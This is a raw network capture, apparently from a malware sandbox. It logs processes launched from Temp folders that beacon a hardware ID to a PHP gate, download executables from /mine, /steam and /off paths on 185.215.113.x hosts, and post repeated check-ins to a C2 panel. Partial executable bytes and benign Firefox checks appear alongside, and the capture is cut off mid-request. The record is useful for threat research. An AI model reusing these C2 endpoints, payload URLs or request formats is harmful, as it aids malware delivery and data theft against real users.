Oct 22, 2024 19:25:27.582248926 CEST	1236	IN	Data Raw: 16 00 00 83 c4 0c a3 54 a4 64 00 6a 0d 68 28 2b 42 00 68 38 2b 42 00 e8 5b 16 00 00 83 c4 0c a3 40 a3 64 00 6a 10 68 48 2b 42 00 68 5c 2b 42 00 e8 42 16 00 00 83 c4 0c a3 10 a5 64 00 6a 05 68 70 2b 42 00 68 78 2b 42 00 e8 29 16 00 00 83 c4 0c a3 Data Ascii: Tdjh(+Bh8+B[@djhH+Bh\+BBdjhp+Bhx+B)0djh+Bh+BHdjh+Bh+Bdjh+Bh+B`djh+Bh+Bdjh,Bh,B,djh ,Bh,,Bdjh8,B
Oct 22, 2024 19:25:27.587657928 CEST	1236	IN	Data Raw: 6a 0d 68 b8 31 42 00 68 c8 31 42 00 e8 92 11 00 00 83 c4 0c a3 84 a1 64 00 6a 11 68 d8 31 42 00 68 ec 31 42 00 e8 79 11 00 00 83 c4 0c a3 20 a6 64 00 6a 0f 68 00 32 42 00 68 10 32 42 00 e8 60 11 00 00 83 c4 0c a3 10 a3 64 00 6a 0f 68 20 32 42 00 Data Ascii: jh1Bh1Bdjh1Bh1By djh2Bh2B`djh 2Bh02BGdj=h@2Bh2B.4djh2Bh2B\|djh2Bh2B$djh2Bh2B\djh3Bh3Bdjh3Bh3B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49746	185.215.113.37	80	7500	C:\Users\user\AppData\Local\Temp\1000779001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:28.947060108 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:25:29.847239971 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:25:29.853413105 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build"doma------DAAECAFHDBGIDGCAEHJE--
Oct 22, 2024 19:25:30.134926081 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49751	185.215.113.16	80	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:30.047815084 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 22, 2024 19:25:30.952931881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:30 GMT Content-Type: application/octet-stream Content-Length: 1949184 Last-Modified: Tue, 22 Oct 2024 17:10:02 GMT Connection: keep-alive ETag: "6717dc6a-1dbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@MZ4@WkXLL @.rsrc@.idata @ `+@dmqydvws2@sqmqmqayL@.taggant0L"@
Oct 22, 2024 19:25:30.952959061 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:30.952987909 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:30.953006029 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:30.953023911 CEST	1236	IN	Data Raw: 1c 9b 92 2b cd 49 c3 f5 6d 7c a6 27 11 80 24 92 be 28 0b e7 46 d6 d1 99 df f6 2d 4c dc 5a 22 77 80 9e b5 a0 7d 5e 9e 6b d9 65 86 69 5d 77 95 8f 2d 66 e2 ab 29 84 51 16 7f 67 12 fb d6 c9 22 96 5d da 76 5a f5 25 47 97 cf a9 20 69 9d 67 5a 5d ce 05 Data Ascii: +Im\|'$(F-LZ"w}^kei]w-f)Qg"]vZ%G igZ]5{F[<$W2.OvDI";5#vF#H:HV`aB"/]EufRElk-K&#zFck}x5ESw/.:q/=&lvsGY")-nDKz1H/
Oct 22, 2024 19:25:30.953041077 CEST	1236	IN	Data Raw: 6c 9a f8 db ac b2 52 29 c5 be e6 ac 04 35 a8 b0 3d 98 1e bf ce d9 c6 33 4e 93 22 b7 61 de c1 6b 4d 78 7a 63 9f 3e 2b 22 60 bc ce 5e 36 5a 42 3b b1 f9 a2 56 d7 a9 27 68 b5 58 a1 1e dc c6 a6 77 7d 9a 2c 5b bd ee dc 89 01 ad 23 c3 ad 1d 07 4b 53 f7 Data Ascii: lR)5=3N"akMxzc>+"`^6ZB;V'hXw},[#KSCM_n+!5jugKNl\|M ZY9PN]Nhmswc(kwg}32L,apH!oD~)L=e`V%~]YxQj7,!
Oct 22, 2024 19:25:30.953058958 CEST	1236	IN	Data Raw: e9 71 c9 cf 95 6f c6 35 99 65 4b ed ce 77 ea 98 04 0d b5 8b 48 ea ef bb 3c 80 f9 b7 85 68 ea 70 aa 17 d4 7c 99 7d 15 4a 85 c7 26 38 7c 02 10 29 6b ee c8 d8 54 5d a8 5c 8e 3e b7 69 fa 4a 75 d7 54 7f 8c 04 4f 02 07 37 b4 fb 8a 39 95 8b cd 35 09 ba Data Ascii: qo5eKwH<hp\|}J&8\|)kT]\>iJuTO795WIcbuEJG~B8X/h0%}V9em_-"O.\|wRu}+JrZc+GsmhhndA]KW6PD+zepDoDC&k
Oct 22, 2024 19:25:30.953074932 CEST	1236	IN	Data Raw: 04 40 20 b1 cf fe 8c 5c c1 5a 7e 13 05 20 52 52 35 8b 98 48 8b 0e 25 17 cf e0 9e ce af a5 fb b5 b9 62 f5 b1 eb 06 79 47 32 02 bf 9b f9 4f 5f 4f d5 d6 2d 24 40 bc 1f 6d 82 d5 96 35 b4 1d 4a fa cf a8 59 9a cb e0 3d b0 ce 1a 2e f2 97 81 ef 5c 42 73 Data Ascii: @ \Z~ RR5H%byG2O_O-$@m5JY=.\Bsj@G"{>00}77H-#"Hm(H!C'b-07O#dRnXbxIFJIO]k^sDSzx/>brcR&flI^YS
Oct 22, 2024 19:25:30.953093052 CEST	1096	IN	Data Raw: 60 3a 15 eb fe 14 36 34 89 41 06 43 0d 77 2a db 61 38 61 bd b9 82 c2 f0 0f 36 67 20 fa 2c 3b 37 ed 5e 9a 35 b1 57 88 24 bb 17 93 59 65 71 c2 33 96 3a dc 93 ea 94 0a 6d 24 57 94 33 d3 6f d4 7b 91 75 e2 0d e6 27 3a dc 15 a4 49 95 be e6 09 28 e8 34 Data Ascii: `:64ACwa8a6g ,;7^5W$Yeq3:m$W3o{u':I(4wTI$FvT-',>Ut^\&D3mKkh=*vrWTUYl!W,^"XEvfQw[`)wf zW/\|NE{^;UVU(6H\|Vs
Oct 22, 2024 19:25:30.953110933 CEST	1236	IN	Data Raw: 46 b1 e0 58 b4 95 42 26 bb e1 ca 52 7b a0 53 6c 19 cf 3c af 9f 52 c2 d2 ae 5d 65 82 a1 f1 ee ad 0b 83 f4 a5 df a6 12 8f 61 6c 55 1d 0b a1 16 1c 31 dd 68 26 81 59 72 33 30 44 04 32 22 4a 62 82 d2 06 13 d9 4d f7 db b4 bc 83 3e 94 fd 97 8b 84 69 e6 Data Ascii: FXB&R{Sl<R]ealU1h&Yr30D2"JbM>iMs3nUQ5`YhlZyMu&l^n7wH%.<H;/ 3`:kfOo<om)g.l(\|-)<0;:.kc`
Oct 22, 2024 19:25:30.979708910 CEST	1236	IN	Data Raw: 74 3e f4 18 6f 37 0f fc 9f 84 21 5a a3 a2 66 ef f7 9a 6e 43 b0 be d1 1f df 56 83 ee 88 c6 22 4b 65 6c 1f e8 7c 65 5c 25 a7 84 8d f4 77 99 2c 36 7a 21 ad 44 db 56 83 ea 9b 24 c0 e8 a9 2f ff 67 23 66 3e f2 b7 a1 a2 9b 89 4d 9c 5d 74 a7 c5 f0 7b a6 Data Ascii: t>o7!ZfnCV"Kel\|e\%w,6z!DV$/g#f>M]t{,n6)Ktqqo,IxqFL/iHWU[@>>(B;G>ELSA.-#zVpTGkOXM^YBQLN3.I?GTDv2i}*
Oct 22, 2024 19:25:39.314950943 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 22, 2024 19:25:39.592683077 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:39 GMT Content-Type: application/octet-stream Content-Length: 1826304 Last-Modified: Tue, 22 Oct 2024 17:09:55 GMT Connection: keep-alive ETag: "6717dc63-1bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0i@`i@P%d% %(@.rsrc %8@.idata %8@ )%:@yquqvaggO\|<@kkcxorqu i@.taggant00i"@
Oct 22, 2024 19:25:42.241456985 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 22, 2024 19:25:42.519042969 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:42 GMT Content-Type: application/octet-stream Content-Length: 2744320 Last-Modified: Tue, 22 Oct 2024 17:12:36 GMT Connection: keep-alive ETag: "6717dd04-29e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9e 94 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ *`Ui` @ @.rsrc`2@.idata 8@namxoaly)):@dbejnace )@.taggant@@*")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49757	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:30.724793911 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 37 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000779001&unit=246122658369
Oct 22, 2024 19:25:31.654350042 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49771	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:33.306870937 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:34.197603941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49777	34.107.221.82	80	4184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:33.498924017 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:25:34.095158100 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64410 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49794	34.107.221.82	80	4184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:35.683433056 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:25:36.288880110 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82231 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49796	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:35.721353054 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:36.641208887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49804	34.107.221.82	80	4184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:37.034147024 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:25:37.643358946 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64413 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49815	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:38.318690062 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 22, 2024 19:25:39.187016010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49817	34.107.221.82	80	4184	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:38.704591990 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:25:39.321938038 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82234 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:25:49.350363016 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 22, 2024 19:25:59.365962029 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49831	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:40.712685108 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Oct 22, 2024 19:25:41.632858038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49839	185.215.113.37	80	2852	C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:42.084849119 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:25:42.987847090 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:25:42.991452932 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 